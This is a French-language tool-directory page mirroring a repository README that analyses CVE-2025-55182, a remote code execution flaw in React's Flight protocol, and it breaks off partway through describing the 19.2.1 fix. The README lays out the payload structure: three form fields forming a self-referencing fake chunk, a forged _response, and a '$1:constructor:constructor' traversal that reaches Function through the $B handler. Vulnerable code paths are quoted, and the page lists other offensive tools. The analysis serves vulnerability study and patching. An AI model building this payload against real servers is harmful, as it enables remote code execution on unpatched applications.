Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182 — Analyse technique détaillée et preuve de concept d'exploitation pour CVE-2025-55182, une vulnérabilité RCE critique dans le protocole Flight de React. Couvre le path traversal, l'injection de faux chunks et les techniques de contournement WAF. | Kitploit
Outils/GitHubGitHub/hulh122/cve-2025-55182
Analyse des VulnérabilitésExploitationExploitation d'Applications WebContournement de WAFApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubhulh122/cve-2025-55182

CVE-2025-55182

Analyse technique détaillée et preuve de concept d'exploitation pour CVE-2025-55182, une vulnérabilité RCE critique dans le protocole Flight de React. Couvre le path traversal, l'injection de faux chunks et les techniques de contournement WAF.

Voir le dépôt
43il y a 11 moisPas encore vérifié
Partager

CVE-2025-55182 - RCE des composants serveur React

NOTE : Écrit par IA/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 est une vulnérabilité RCE critique dans le protocole Flight de React. La chaîne d'attaque combine traversée de chemin + injection de faux chunk + abus du gestionnaire $B pour exécuter Function(attacker_code).

Un grand merci à maple3142 pour la chaîne d'exploitation fonctionnelle !


L'exploit

Aperçu de l'attaque

L'exploit utilise trois champs de formulaire pour construire une charge utile malveillante :

  1. Crée un objet chunk fictif avec un then autoréférentiel (champ 1 $@0 → champ 0)
  2. Intègre un _response fictif avec _formData.get défini sur $1:constructor:constructor
  3. Déclenche le gestionnaire $B qui appelle response._formData.get(response._prefix + id)
  4. La traversée de chemin résout _formData.get → Function, exécutant Function(code)

Déroulement de l'exploitation```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

### Composants clés

| Component | Purpose |
|-----------|---------|
| `then: "$1:__proto__:then"` | Thenable auto-référent ; chunk 1 (`$@0`) pointe vers le chunk 0 |
| `status: "resolved_model"` | Rend l'objet similaire à un chunk React valide |
| `reason: -1` | Définit rootReference sur undefined (évite les conflits de référence) |
| `value: '{"then":"$B1337"}'` | Charge utile imbriquée qui déclenche le gestionnaire `$B` |
| `_response._prefix` | Contient la chaîne de code RCE |
| `_response._chunks: "$Q2"` | Map vide pour éviter les plantages lors du traitement des chunks |
| `_response._formData.get` | Pointe vers `Function` via `$1:constructor:constructor` |

### Analyse approfondie des composants

#### Structure des champs de formulaire

L'exploit utilise trois champs de formulaire avec des références circulaires :```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0"    ← references back to field 0
Field 2: []       ← empty array for _chunks Map

Thenable auto-référent (then)

Le then: "$1:__proto__:then" crée une auto-référence qui se résout en une vraie fonction :``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

**Pourquoi c'est crucial :**

1. `then` résout en `Chunk.prototype.then` - une vraie fonction appelable
2. Cela fait de l'objet factice un thenable valide
3. Lors de l'attente, JS appelle `obj.then(resolve, reject)`
4. `Chunk.prototype.then` s'exécute avec l'objet factice comme `this` :```javascript
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" ✓
    case "resolved_model":
      initializeModelChunk(this);  // fake object passed!
  1. initializeModelChunk(this) utilise this._response - le faux _response de l'attaquant :```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
**Sans l'auto-référence**, la fausse `_response` ne serait jamais utilisée. L'auto-référence amène `Chunk.prototype.then` à traiter l'objet de l'attaquant comme un véritable Chunk.

#### Déclencheur Thenable en deux étapes (`value`)

Le champ `value` contient une chaîne JSON imbriquée avec un autre thenable :```json
{"then":"$B1337"}

Étape 1 : Le then autoréférentiel de l'objet extérieur déclenche le traitement des morceaux

Étape 2 : Lorsque React résout le modèle, il analyse value et rencontre un autre thenable avec then: "$B1337". Le préfixe $B déclenche le gestionnaire :```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

`_formData.get` est `"$1:constructor:constructor"` → `getOutlinedModel()` se résout en `Function`.

Cela devient : `Function(code + "1337")` → JS valide car `1337` est simplement une expression de fin.

#### Remplissage défensif (`_chunks`)

Le faux `_response` a besoin d'une propriété `_chunks` valide pour éviter les plantages :```
Form field "2": []           ← empty array
_chunks: "$Q2"               ← $Q = Map type, creates new Map([])

Le code interne de React peut accéder à response._chunks.get() ou response._chunks.has() pendant le traitement. Une Map vide satisfait ces appels sans erreur, permettant à l'exécution d'atteindre le gestionnaire $B vulnérable.


Chemins de code vulnérables

CheminFonctionObjectif dans l'exploit
Traversée de chemingetOutlinedModel()Résout $1:constructor:constructor → Function
Injection de faux _responseinitializeModelChunk()Utilise le chunk._response de l'attaquant
Gestionnaire $BparseModelString()Appelle _formData.get(_prefix + id) → RCE

decodeReply() est le point d'entrée, non vulnérable en lui-même.

Traversée de chemin (getOutlinedModel()) :```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

**Utilisation de la réponse factice** (`initializeModelChunk()`):```javascript
value = reviveModel(
  chunk._response,  // Uses chunk._response directly!
  { "": rawModel },
  ...
);

$B Gestionnaire RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

---

## Le correctif (19.2.1)

Le correctif inclut plusieurs corrections :

1. **`RESPONSE_SYMBOL` dans `initializeModelChunk()`** - Correction critique   ```javascript
   // BEFORE: chunk._response (attacker can set via JSON)
   value = reviveModel(chunk._response, ...);
Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    343
  • 5

    antifox

    antifox-ai/antifox

    Plateforme de test d'intrusion autonome multi-agents par IA qui exécute la reconnaissance, la découverte de la surface d'attaque, la validation de l'exploitation et la livraison de rapports étayés par des preuves.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Le système d'action pour la cybersécurité native IA—où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante.

    258

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →